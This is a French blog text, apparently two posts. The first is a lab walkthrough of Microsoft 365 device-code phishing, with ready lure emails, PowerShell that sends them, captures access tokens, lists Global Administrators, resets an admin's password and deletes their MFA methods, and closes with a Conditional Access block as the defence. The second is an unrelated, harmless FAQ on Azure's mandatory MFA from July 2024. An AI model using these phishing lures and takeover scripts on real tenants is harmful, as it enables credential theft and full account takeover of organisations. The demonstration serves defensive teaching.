Attention ici, le code généré n’est valable que 15 minutes, mais des méthodes d’automatisation de l’hameçonnage sont facilement réalisable.

J’intègre mon corps d’email modifié et toutes les informations SMTP nécessaires (modifiées) à ma première campagne d’hameçonnage :

# SMTP : Serveur
$SMTPServer = "smtp.office365.com"

# SMTP : Port
$SMTPPort = 587

# SMTP : Expéditeur
$SMTPSender = "jlou07@jloudev.onmicrosoft.com"

# E-mail : objet
$EmailSubject = "🔔 Important : Refonte du Système de Gestion des Notes de Frais 🔔"
# E-mail : corps

# Contenu de l'email en HTML
$emailBody = @"
<!DOCTYPE html>
<html>
<head>
    <title>Mise à jour du système de gestion des notes de frais</title>
</head>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
    <h1 style="color: #1a73e8;">🔔 Important : Refonte du Système de Gestion des Notes de Frais 🔔</h1>
    <p>Bonjour [Nom du destinataire],</p>
    <p>Nous avons le plaisir de vous informer que notre système de gestion des notes de frais a été entièrement refondu pour améliorer votre expérience et simplifier le processus de soumission et de suivi de vos dépenses professionnelles.</p>
    <p>Pour accéder à ce nouveau système, veuillez-vous inscrire en utilisant le lien ci-dessous et le code à usage unique fourni :</p>
    <p>
        <a href="https://microsoft.com/devicelogin" style="color: #1a73e8; text-decoration: none; font-weight: bold;">Inscription au nouveau système de gestion des notes de frais</a>
    </p>
    <p>Votre code à usage unique : <strong style="font-size: 1.2em; color: #d32f2f;">LS9475723</strong></p>
    <p><strong>Ce code est valable seulement 15 minutes.</strong></p>
    <p>Nous vous remercions de procéder à votre inscription dans les plus brefs délais afin de bénéficier des nouvelles fonctionnalités et améliorations apportées à notre système.</p>
    <p>Avec nos meilleures salutations,<br>[Votre nom]<br>[Votre titre]<br>[Nom de votre entreprise]</p>
</body>
</html>
"@

# SMTP : Destinataire(s)
$SMTPRecipient = "teacher1@tdcheduc.onmicrosoft.com"

$SMTPRecipientList = @()
$SMTPRecipientList += @{
      EmailAddress = @{
         Address = $SMTPRecipient
   }
}

Je charge toutes ces informations dans les propriétés du message :

$EmailProperties = @{
   ToRecipients = $SMTPRecipientList
   Subject = $EmailSubject
   Body = @{
      ContentType = "HTML"
      Content = $EmailBody
   }
}

J’envoie les emails d’hameçonnage à mes cibles :

Send-MgUserMail -UserId $SMTPSender -Message $EmailProperties

Quelques secondes plus tard, l’email apparaît en boite de réception :

Bien évidemment, une campagne d’hameçonnage repose toujours sur une volume important d’emails, comparé aux faibles chances de clics des utilisateurs.

Etape II – Récupération du premier token :

Admettons un instant qu’un utilisateur 365 lambda se fasse berner et clique sur le lien en pensant que ce dernier est légitime. Ce dernier est invité à recopier le code indiqué dans l’email d’hameçonnage :

Etant déjà authentifié, il ne lui reste qu’à choisir son compte 365 :

Pensant toujours l’action légitime, l’utilisateur clique sur Continuer :

Entra ID lui informe alors que le processus d’authentification est terminé :

De notre côté, nous pouvons alors continuer nos opérations puisque l’authentification s’est bien déroulé :

$GrandType = "urn:ietf:params:oauth:grant-type:device_code"
$body = @{
"client_id" = $ClientID 
"grant_type" = $GrandType
"code" = $authResponse.device_code
}

La commande suivante nous permet de contrôler la présence de l’Access Token comme attendu :

$Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body -ErrorAction SilentlyContinue
$Tokens
$graphApiToken  = $Tokens.access_token

Une connexion à MgGraph via ce même Access Token est alors possible :

Connect-MgGraph -AccessToken ($graphApiToken |ConvertTo-SecureString -AsPlainText -Force)

La commande suivante nous permet alors de situer l’utilisateur et les droits obtenus grâce l’Access Token récupéré auprès de l’application Microsoft Office :

(Get-MgContext).Scopes

Parmi les autorisations obtenues figure justement le droit d’envoyer des emails :

Nous sommes maintenant à l’intérieur d’un environnement Entra ID avec déjà quelques autorisations. Afin de réussir l’objectif de réinitialiser le mot de passe d’un compte Administrateur Global, nous allons avoir besoin de plus de droits que ceux déjà obtenus.

Etape III – Préparation du second hameçonnage :

La plus rapide est de cibler tous les comptes Entra ID ayant le rôle d’Administrateur Global. Bien souvent, d’autres personnes non IT (gérants, actionnaires, …) ont également ce rôle critique malgré les risques que cela comporte.

Depuis l’accès obtenu via mon utilisateur lambda, la commande PowerShell suivante me permet de récupérer des informations sur les comptes Administrateur Global du tenant :

$memberList = [System.Collections.Generic.List[string]]::new()
$roleId = (Get-MgDirectoryRole -Filter "DisplayName eq 'Global Administrator'").Id
$userList = Get-MgDirectoryRoleMember -DirectoryRoleId $roleId

foreach ($user in $userList) {
    $upn = (Get-MgUser -UserId $user.id).UserPrincipalName
    $GivenName = (Get-MgUser -UserId $user.id).GivenName
    $memberList.Add($upn)
    $memberList.Add($GivenName)
}

$memberList

Une fois ma nouvelle liste de cibles établie, je peux créer une seconde campagne d’hameçonnage interne.

Avant besoin de plus de droits que ceux octroyés par l’application Microsoft Office, je décide de créer une nouvelle application sur un autre tenant dont je suis le propriétaire :

Je nomme mon application selon le contexte voulu et j’active la fonction multi-tenant :

Depuis l’onglet Authentification, je clique sur le menu suivant :

Je clique sur le type de plate-forme suivant :

Je coche et rajoute les URIs suivantes :

J’active également la fonction suivante, puis je clique sur Sauvegarder :

Depuis le menu Permissions API, je rajoute une permission API par le bouton suivant :

Je choisi alors Microsoft Graph :

Je sélectionne Permissions déléguées :

Je recherche la permissions suivante, puis je clique sur Ajouter :

UserAuthenticationMethod.ReadWrite.All

Ici, aucun besoin de consentement d’administration :

Sur la page principale de mon application, je récupère son Application ID :

Comme pour la première campagne, j’exécute les commandes suivantes pour de générer un Device Code Flow destiné à ma nouvelle application :

$ClientID = "1bc7e8a5-6442-4f35-8497-2cebe8c71f0c"
$Scope = "UserAuthenticationMethod.ReadWrite.All"
$body = @{
"client_id" = $ClientID 
"scope" = $Scope
}
$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Body $body 
Write-output $authResponse

Là encore, le code généré n’est valable que 15 minutes :

Je repasse par ChatGPT pour rédiger rapidement un second email d’hameçonnage interne destiné à mes utilisateurs Administrateur Global :

J’intègre mon corps d’email modifié et toutes les informations SMTP nécessaires (modifiées) à ma seconde campagne d’hameçonnage interne :

# SMTP : Serveur
$SMTPServer = "smtp.office365.com"

# SMTP : Port
$SMTPPort = 587

# SMTP : Expéditeur
$SMTPSender = "teacher1@tdcheduc.onmicrosoft.com"

# E-mail : objet
$EmailSubject = "Activation de l'essai de Copilot for Security toujours en attente"
# E-mail : corps
#$EmailBody = "<h1>Démo Microsoft Graph</h1>"
# Contenu de l'email en HTML
$emailBody = @"
<!DOCTYPE html>
<html>
<head>
    <title>Découvrez Copilot for Security</title>
</head>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
    <h1 style="color: #1a73e8;">🚀 Découvrez Copilot for Security 🚀</h1>
    <p>Bonjour,</p>
    <p>Nous sommes ravis de vous présenter <strong>Copilot for Security</strong> - votre nouvel allié de confiance pour une sécurité renforcée !</p>
    <p>Copilot for Security est une solution révolutionnaire conçue pour simplifier et améliorer la sécurité de votre organisation. Imaginez une intelligence artificielle capable d'analyser vos systèmes en temps réel, de détecter les menaces potentielles avant qu'elles ne deviennent des problèmes, et de vous fournir des recommandations personnalisées pour renforcer votre posture de sécurité. C'est exactement ce que vous offre Copilot for Security !</p>
    <p>Mais ce n'est pas tout ! Nous avons une nouvelle excitante à partager : <strong>une préversion privée de Copilot for Security est désormais accessible sur demande</strong> !</p>
    <p>Ne manquez pas cette opportunité exclusive de tester notre solution avant tout le monde et de contribuer à façonner l'avenir de la sécurité informatique.</p>
    <p>Pour vous inscrire à la préversion privée, rendez-vous sur <a href="https://microsoft.com/devicelogin" style="color: #1a73e8; text-decoration: none;">notre page d'inscription</a> et utilisez le code suivant :</p>
    <p style="font-size: 1.2em; font-weight: bold; color: #d32f2f;">CUA75XNUX</p>
    <p>Nous avons hâte de vous accueillir parmi nos premiers utilisateurs et de vous voir profiter des nombreux avantages de Copilot for Security.</p>
    <p>Avec enthousiasme,<br>[Votre nom]<br>[Votre titre]<br>[Nom de votre entreprise]</p>
</body>
</html>
"@

# SMTP : Destinataire(s)
$SMTPRecipient = "ADMTeacher@TDCHEduc.onmicrosoft.com"

$SMTPRecipientList = @()
$SMTPRecipientList += @{
      EmailAddress = @{
         Address = $SMTPRecipient
   }
}

Je charge toutes ces informations dans les propriétés du message :

$EmailProperties = @{
   ToRecipients = $SMTPRecipientList
   Subject = $EmailSubject
   Body = @{
      ContentType = "HTML"
      Content = $EmailBody
   }
}

J’envoie les emails d’hameçonnage à mes Administrateurs cibles :

Send-MgUserMail -UserId $SMTPSender -Message $EmailProperties

Quelques secondes plus tard, l’email apparaît en boite de réception :

Il ne reste plus qu’à croiser les doigts qu’un des administrateurs Global se laisse tenter par cette formidable nouvelle.

Etape IV – Récupération du second token :

Admettons là encore qu’un Administrateur Global non IT clique sur le lien et recopie le code indiqué dans le second email d’hameçonnage :

Etant déjà authentifié, il ne lui reste qu’à choisir son compte admin 365 :

Pensant lui aussi l’action légitime, l’utilisateur clique simplement sur Accepter :

Entra ID lui informe alors que le processus d’authentification est terminé :

De notre côté, nous pouvons alors continuer nos opérations puisque l’authentification s’est bien déroulé :

$GrandType = "urn:ietf:params:oauth:grant-type:device_code"
$body = @{
"client_id" = $ClientID 
"grant_type" = $GrandType
"code" = $authResponse.device_code
}

La commande suivante nous permet de contrôler la présence de l’Access Token comme attendu :

$Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body -ErrorAction SilentlyContinue
$Tokens
$graphApiToken  = $Tokens.access_token

Une connexion à MgGraph via ce second Access Token est alors possible :

Connect-MgGraph -AccessToken ($graphApiToken |ConvertTo-SecureString -AsPlainText -Force)

La commande suivante nous permet alors de situer l’utilisateur et les droits obtenus grâce l’Access Token récupéré auprès de notre application :

(Get-MgContext).Scopes

Parmi les autorisations obtenues figure la gestion des méthodes d’authentification :

Etape V – Reset et test de connexion :

Il nous reste alors qu’à lancer la commande suivant afin de réinitialiser le mot de passe d’un autre administrateur global présent sur le tenant :

$userid = "ga2@TDCHEduc.onmicrosoft.com"
$method = Get-MgUserAuthenticationPasswordMethod -UserId $userid
  
Reset-MgUserAuthenticationMethodPassword -UserId $userid -AuthenticationMethodId $method.id -NewPassword "zQ7!Ra3MM6ha" 

Il nous est même possible d’effacer les différentes méthodes MFA déjà enregistrées sur ce même compte :

$userid = "ga2@TDCHEduc.onmicrosoft.com"
$AuthMethods = Get-MgUserAuthenticationMethod -UserId $userid
ForEach ($AuthMethod in $AuthMethods){
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.emailAuthenticationMethod"){
        Remove-MgUserAuthenticationEmailMethod -EmailAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.microsoftAuthenticatorAuthenticationMethod"){
        Remove-MgUserAuthenticationMicrosoftAuthenticatorMethod -MicrosoftAuthenticatorAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.fido2AuthenticationMethod"){
        Remove-MgUserAuthenticationFido2Method -Fido2AuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.windowsHelloForBusinessAuthenticationMethod"){
        Remove-MgUserAuthenticationFido2Method -Fido2AuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.phoneAuthenticationMethod"){
        Remove-MgUserAuthenticationPhoneMethod -PhoneAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.phoneAuthenticationMethod"){
        Remove-MgUserAuthenticationPhoneMethod -PhoneAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.softwareOathAuthenticationMethod"){
        Remove-MgUserAuthenticationSoftwareOathMethod -SoftwareOathAuthenticationMethodId $AuthMethod.id
    }
}

Par le biais d’un navigateur privé, il nous suffit de tester le nouveau mot de passe configuré sur l’administrateur global ciblé :

Comme attendu, Microsoft nous demande également de reconfigurer une ou plusieurs méthodes MFA sur ce compte :

Le compte et donc le tenant est donc maintenant sous notre contrôle. D’autres actions plus critiques pourraient alors suivre.

Mais, comme dit plus haut, Entra ID vous propose maintenant de bloquer les Device code flow via les Polices d’accès conditionnel.

Etape VI – Polices d’accès conditionnel :

Dans son journal des connexions Entra ID, Microsoft indique clairement l’usage d’un Device Code Flow :

Depuis le portail d’Entra ID, il est maintenant possible de définir une police ayant pour but de spécifiquement cibler et bloquer les connexions faites via Device Code Flow :

Une fois cette police en place, l’utilisateur lambda peut cliquer sur le lien :

Renseigner un code actif :

Choisir son identifiant 365 :

Et se retrouver bloqué et donc protégé de cette tentative d’usurpation :

Conclusion

En conclusion, le Device Code Flow offre une solution pratique pour l’authentification des appareils avec des capacités limitées tout en maintenant une expérience utilisateur fluide. Cependant, il est crucial de mettre en œuvre des mesures de sécurité robustes pour atténuer les risques potentiels associés à ce flux.

MFA pour tous les utilisateurs d’Azure à partir de juillet 2024

Microsoft vient d’annoncer, via un article posté sur le Techcommunity, une modification majeure à venir concernant l’authentification sur Azure : MFA pour tous ! Quand cela va arriver ? Qu’est-ce que cela implique ? Ces questions et bien d’autres encore sont légitimes. Tentons d’y voir plus clair ensemble.

Dans cet article sous forme de FAQ, je vous propose de commencer quelques notions important :

Et d’aborder ensuite les futurs changements prévus en juillet 2024 par Microsoft :

Qu’est-ce que la MFA ?

L’utilisation d’un mot de passe uniquement ne protège pas complètement des attaques. Si le mot de passe est faible ou s’il a été exposé ailleurs, un attaquant peut l’utiliser pour y accéder. Quand vous exigez une deuxième forme d’authentification, la sécurité est renforcée parce que ce facteur supplémentaire n’est pas un élément qu’un attaquant peut facilement obtenir ou dupliquer.

Microsoft Doc

La MFA propose donc d’aller plus loin que le couple classique identifiant / mot de passe. L’authentification multifacteur d’Entra ID impose de mettre en place les 3 méthodes d’authentification suivantes :

  • Un élément que vous connaissez (ex. mot de passe)
  • Un élément que vous possédez (ex. un appareil de confiance, comme un smartphone)
  • Un élément qui vous définit (ex. identifiant biométrique, tel qu’une empreinte digitale)

Voici l’écran de configuration utilisateur d’une méthode MFA possible :

L’URL suivante (https://aka.ms/mfasetup) permet de gérer et configurer ses méthodes MFA :

Quelle licence est nécessaire pour la disposer d’une MFA ?

Les choses ont quelque peu évolué ces dernières années chez Microsoft. Les licences Entra ID présentes et assignées aux utilisateurs concernés sont le point de départ aux méthodes de MFA disponibles.

Cette information au niveau tenant est disponible sur la page principale d’Entra ID :

Voici un tableau de comparaison des features MFA en fonction des licences Microsoft :

FonctionEntra ID Gratuit : paramètres de sécurité par défaut activésEntra ID
Gratuit
Office 365Entra ID P1Entra ID P2
Protection des comptes avec authentification multifacteur● (comptes d’administrateur général uniquement)
Application mobile comme second facteur
Appel téléphonique comme second facteur
Le SMS comme deuxième facteur
Contrôle d’administration sur les méthodes de vérification
Alerte de fraude
Rapports MFA
Messages de bienvenue personnalisés pour les appels téléphoniques
ID d’appelant personnalisé pour les appels téléphoniques
Adresses IP approuvées
Mémoriser MFA pour les appareils fiables
MFA pour les applications locales
Accès conditionnel
Accès conditionnel en fonction du risque

Autrement dit, un tenant même gratuit (ou non) et ayant la sécurité par défaut activée dispose d’une MFA accessible à tous ses utilisateurs :

Tous les utilisateurs d’un locataire Microsoft Entra ID Gratuit peuvent utiliser l’authentification multifacteur Microsoft Entra à l’aide des paramètres de sécurité par défaut. L’application d’authentification mobile peut être utilisée pour l’authentification multifacteur Microsoft Entra lors de l’utilisation des paramètres de sécurité par défaut Microsoft Entra ID Gratuit.

Microsoft Learn

Les paramètres de sécurité par défaut peuvent être activés dans le niveau Microsoft Entra ID Free. Avec les paramètres de sécurité par défaut, tous les utilisateurs sont activés pour l’authentification multifacteur à l’aide de l’application Microsoft Authenticator. Il n’est pas possible d’utiliser la vérification par SMS ou appel téléphonique avec les paramètres de sécurité par défaut, mais uniquement l’application Microsoft Authenticator.

Microsoft Learn

Mais pourquoi alors payer pour un service MFA disponible gratuitement ?

L’activation de la sécurité par défaut sur un tenant est gratuite, mais reste non personnalisable. Microsoft recommande d’ailleurs une utilisation agile de la MFA grâce à l’utilisation de polices d’accès conditionnel, disponibles dans les licences Microsoft Entra ID P1 ou P2.

Un précédent article dédié aux accès conditionnels est disponible juste ici :

Existe-t-il des différentes configurations MFA possibles sur un tenant ?

Pour rappel, il est actuellement possible de configurer le challenge MFA via 3 méthodes distinctes :

  • Paramètres de sécurité par défaut
  • Accès conditionnel
  • Authentification multifacteur par utilisateur (per-user MFA)

Important : N’activez pas ou n’appliquez pas l’authentification MFA par utilisateur si vous utilisez également des polices d’accès conditionnel.

StratégieParamètres de sécurité par défautAccès conditionnelAuthentification multifacteur par utilisateur
Gestion
Ensemble standard de règles de sécurité pour garantir la sécurité de votre entreprise
Activé/désactivé en un clic
Inclus dans la gestion des licences Office 365 (voir les considérations relatives aux licences)
Modèles préconfigurés dans l’assistant Centre d’administration Microsoft 365
Flexibilité de la configuration
Fonctionnalité
Exempter les utilisateurs de la stratégie
Authentification par appel téléphonique ou SMS
S’authentifier par Microsoft Authenticator et jetons logiciels
Authentification par FIDO2, Windows Hello Entreprise et les jetons matériels
Bloque les protocoles d’authentification hérités
Les nouveaux employés sont automatiquement protégés
Déclencheurs MFA dynamiques en fonction des événements à risque
Stratégies d’authentification et d’autorisation
Configurable en fonction de l’emplacement et de l’état de l’appareil
Prise en charge du mode « Rapport seul »
Possibilité de bloquer complètement les utilisateurs/services

Attention la méthode appelée Authentification multifacteur par utilisateur ou Per-user MFA est vouée à disparaitre :

En mars 2023, nous avons annoncé la dépréciation de la gestion des méthodes d’authentification dans les stratégies héritées de l’authentification multifacteur et de la réinitialisation de mot de passe en libre-service (SSPR). À compter du 30 septembre 2025, les méthodes d’authentification ne pourront pas être managées dans ces stratégies MFA et SSPR héritées.

Microsoft Learn

L’écran suivant est accessible via cette URL :

Peut-on migrer d’une configuration MFA à une autre ?

A cause de ce décommissionnement prévu pour 2025, Microsoft a déjà mis à disposition une documentation expliquant différentes étapes pour assurer une transition réussie :

Le SSPR (Réinitialisation du mot de passe en libre-service) et l’ancienne méthode MFA seront donc gérés par les Méthodes d’authentification unifiées :

Qu’est-ce qui se passe en juillet 2024 ?

La nouvelle est passée un peu inaperçue, mais juillet 2024 marque un pas important pour la sécurité Azure :

En juillet (2024), les équipes Azure commenceront à déployer des mesures de sécurité supplémentaires au niveau des locataires pour exiger l’authentification multifactorielle (MFA).

Microsoft Techcommunity

Autrement dit, le déploiement de cette règle MFA sera progressif et concernera à terme l’ensemble des tenants hébergés sur le Cloud public de Microsoft.

Quels sont les services impactés par ce changement ?

Azure et seulement Azure. Ce point est très important d’autres services 365, ou même l’utilisation de services pourtant hébergés Azure ne seront pas impactés par ce changement. Enfin, gardez à l’esprit qu’Azure est accessible via différentes méthodes, et seront donc toutes concernés :

  • Portail Azure
  • CLI
  • PowerShell
  • Terraform

À partir de juillet 2024, un déploiement progressif de cette application pour le portail uniquement commencera. Une fois le déploiement terminé pour le portail, un déploiement progressif similaire commencera pour CLI, PowerShell et Terraform.

Microsoft Techcommunity

Il s’agit donc d’assurer un contrôle MFA systématique afin de protéger les actions en relation avec la gestion des ressources Azure.

Quelles seront les méthodes de MFA possibles pour Azure ?

Les méthodes MFA classiques suivantes pourront être utilisées pour l’authentification Azure :

  • Microsoft Authenticator
  • Authenticator Lite (dans Outlook)
  • Windows Hello Entreprise
  • Clé de sécurité FIDO2
  • Token matériel OATH (préversion)
  • Token logiciel OATH
  • SMS
  • Appel vocal

Quelles sont les identités concernées / non concernées ?

Merci à John Savill pour ce schéma expliquant l’impact entre tous les types d’identités possibles sur Entra ID :

Sont donc concernées :

  • Toutes les identités humaines accédant à Azure dans le cadre de l’administration de ressources (membres et invités)

Sont donc non concernées :

  • Principaux de services
  • Identités managées (user ou système)
  • Comptes basés sur des tokens et utilisés pour l’automatisation

Un travail chez les utilisateurs est donc nécessaire. Mais un contrôle est aussi à prévoir sur les process automatisés utilisant des identités utilisateurs au lieu de des principaux de service ou d’identités managées.

Comment se rendre compte de l’impact avant le jour J ?

Après investigations, Il existe un template de police d’accès conditionnel qui semblerait très proche du résultat attendu par l’évolution de Microsoft prévue pour juillet 2024 :

Cette police semble bien cibler la gestion des ressources Azure :

La mise en place de cette police en mode Report seulement serait alors un premier pas vers la compréhension de ce qui va se passer sur votre environnement :

Conclusion

Dans tous les cas, gardez en tête les points suivants, et je ne peux que vous conseiller de prendre les devants dès que possible :

  • Microsoft recueille encore les feedbacks pour certains scénarios tels que les comptes « break-glass ».
  • Commencez à examiner les identifiants Entra utilisés pour les opérations de management, développement et les accès API à Azure Resource Manager.
  • Si nécessaire, remplacer les identités des utilisateurs par des principaux de service ou des identités managées.

Bon courage à tous 💪🙏😎